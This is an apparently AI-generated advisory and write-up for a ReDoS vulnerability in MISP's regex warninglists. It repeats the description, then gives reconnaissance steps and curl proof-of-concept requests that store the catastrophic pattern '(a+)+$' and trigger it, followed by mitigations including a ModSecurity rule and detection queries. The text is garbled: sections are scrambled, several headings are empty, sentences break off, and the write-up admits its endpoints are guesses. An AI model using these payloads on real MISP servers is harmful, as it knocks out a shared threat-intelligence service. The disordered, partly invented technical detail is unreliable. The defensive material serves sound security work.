CVE-2026-135256 — MISP — CWE-400
MISP contains a Regular Expression Denial of Service (ReDoS) vulnerability in its Warninglist feature. Warninglist entries of type "regex" are evaluated against attribute values without any backtracking limit. An authenticated user with permission to add or import warninglist entries can supply a crafted regular expression pattern that triggers excessive backtracking in the PCRE engine, causing sustained CPU consumption and denial of service. Additionally, imported warninglists were not validated for syntactic correctness before replacing existing entries, allowing malformed or malicious patterns to be persisted and later evaluated without prior rejection. Preconditions: - An authenticated account with the ability to create, edit, or import warninglist entries (users below site-admin level can add entries). - The target MISP instance has at least one warninglist of type "regex" that will be evaluated against incoming attribute values. Impact: - Sustained CPU exhaustion leading to denial of service for all users of the MISP instance. - Potential for cascading performance degradation on shared infrastructure. Affected versions: MISP prior to 2.5.52.
MISP contains a Regular Expression Denial of Service (ReDoS) vulnerability in its Warninglist feature. Warninglist entries of type "regex" are evaluated against attribute values without any backtracking limit. An authenticated user with permission to add or import warninglist entries can supply a crafted regular expression pattern that triggers excessive backtracking in the PCRE engine, causing sustained CPU consumption and denial of service. Additionally, imported warninglists were not validated for syntactic correctness before replacing existing entries, allowing malformed or malicious patterns to be persisted and later evaluated without prior rejection. Preconditions: - An authenticated account with the ability to create, edit, or import warninglist entries (users below site-admin level can add entries). - The target MISP instance has at least one warninglist of type "regex" that will be evaluated against incoming attribute values. Impact: - Sustained CPU exhaustion leading to denial of service for all users of the MISP instance. - Potential for cascading performance degradation on shared infrastructure. Affected versions: MISP prior to 2.5.52.
🎯 What is this vulnerability?
This vulnerability is a Regular Expression Denial of Service (ReDoS) flaw classified under CWE-400: Uncontrolled Resource Consumption. The core technical issue lies in the MISP Warninglist feature, specifically when handling entries of type regex.
The Technical Flaw:
1. Unbounded Backtracking: MISP uses the PCRE (Perl Compatible Regular Expressions) engine to evaluate warninglist patterns against incoming attribute values. The application fails to impose a backtracking limit or timeout on the regex evaluation process.
2. Lack of Input Validation: When a user imports or creates a warninglist entry, the system does not validate the syntactic correctness or complexity of the regular expression before persisting it. This allows "catastrophic backtracking" patterns to be stored in the database.
3. Trigger Mechanism: Once a malicious regex is persisted, any subsequent attribute value that partially matches the pattern triggers excessive backtracking in the PCRE engine. This results in sustained, high-CPU consumption by the PHP worker processes, effectively starving the application of resources.
CVSS 4.0 Analysis:
- AV:N / PR:L: The attack is network-based and requires low privileges (an authenticated user with permission to manage warninglists).
- VA:H (Availability High): The primary impact is a complete denial of service due to CPU exhaustion.
- VC:N / VI:N: There is no direct impact on confidentiality or integrity of the data itself, only the availability of the service.
- Fingerprinting: The attacker identifies the target as a MISP instance. This can be done via: * Checking the
- Privilege Verification: The attacker confirms their account has the
warninglist.addorwarninglist.editpermission. In many MISP deployments, analysts and triagers have these permissions by default.
⚡ Attack Chain
1. Discovery & Reconnaissance
X-Powered-By header or specific MISP API endpoints (e.g., /api/attributes/index).
* Reviewing the version string in the UI footer or via the /api/servers/index endpoint (if accessible).
2. Exploitation
The attacker crafts a regular expression known to cause catastrophic backtracking. A classic example is(a+)+$ or (a|a)+$. When this pattern is tested against a string like aaaaaaaaaaaaaaaaaaaaa!, the PCRE engine explores an exponential number of paths.Illustrative PoC (Curl):
Note: The exact API endpoint for adding a warninglist entry may vary slightly based on MISP version and API version (v2 vs v3). The following is an illustrative example of the logical flow.
# 1. Authenticate and obtain an API key (assuming standard MISP auth)
# 2. Create a malicious warninglist entry
curl -X POST "https://<misp-instance>/warninglists/add" \
-H "Authorization: <API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"name": "Malicious Regex Test",
"type": "regex",
"comment": "Test entry",
"entries": [
{
"value": "(a+)+$",
"description": "Catastrophic backtracking pattern"
}
]
}'Alternative: Importing a malicious warninglist file
If the API allows importing a JSON/YAML warninglist file, the attacker can upload a file containing the malicious regex:
{
"name": "Malicious List",
"type": "regex",
"entries": [
{
"value": "(a|a)+$",
"description": "DoS"
}
]
}Triggering the DoS:
Once the malicious regex is persisted, the attacker (or any user) creates an attribute that triggers the evaluation. For example, adding an attribute of type text with the value aaaaaaaaaaaaaaaaaaaaa!.
# Trigger the DoS by adding an attribute that matches the malicious regex
curl -X POST "https://<misp-instance>/attributes/add" \
-H "Authorization: <API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"value": "aaaaaaaaaaaaaaaaaaaaa!",
"type": "text",
"to_ids": false
}'Note: The exact parameter names (value, type, etc.) are standard for MISP API v2/v3, but the specific route /warninglists/add is illustrative. The core mechanism is the persistence of the regex and its subsequent evaluation against an attribute.
3. Post-exploitation
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
pcre_exec with PCRE_EXEC_TIMEOUT or similar PHP pcre.backtrack_limit and pcre.recursion_limit adjustments).
* Pre-validation of imported warninglists to reject syntactically incorrect or overly complex patterns.2. Workarounds (If Immediate Upgrade is Not Possible)
regex type warninglists. Use exact or cidr types instead, which are less prone to ReDoS.regex entries.
warninglist.add and warninglist.edit permissions from non-admin users. Only allow site-admins to manage warninglists.Administration > Users and adjust roles/permissions.
SecRule REQUEST_BODY "@rx (a\+|\|a)\+" "id:100001,phase:2,deny,status:403,msg:'Potential ReDoS pattern in warninglist'"Note: This rule is highly specific and may produce false positives. It is not a comprehensive fix.
pcre.backtrack_limit and pcre.recursion_limit to lower values to force early termination of complex regex evaluations.Example:*
pcre.backtrack_limit = 100000
pcre.recursion_limit = 10000Note: This may break legitimate complex regexes but can mitigate ReDoS.
3. Detection
/attributes/add or /warninglists/add endpoints.POST /attributes/add 200 120.5s (indicating a request that took over 2 minutes).
top, htop, or Prometheus/Grafana dashboards for PHP-FPM CPU metrics.
regex.warninglists and warninglist_entries tables in the MISP database for recent changes.
SQL Example:*SELECT * FROM warninglist_entries WHERE type = 'regex' AND created > NOW() - INTERVAL 1 DAY;(a+)+, (a|a)+, ([a-z]+)+.
* Unusually large warninglist imports.
* Sudden increase in CPU usage on the MISP server.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query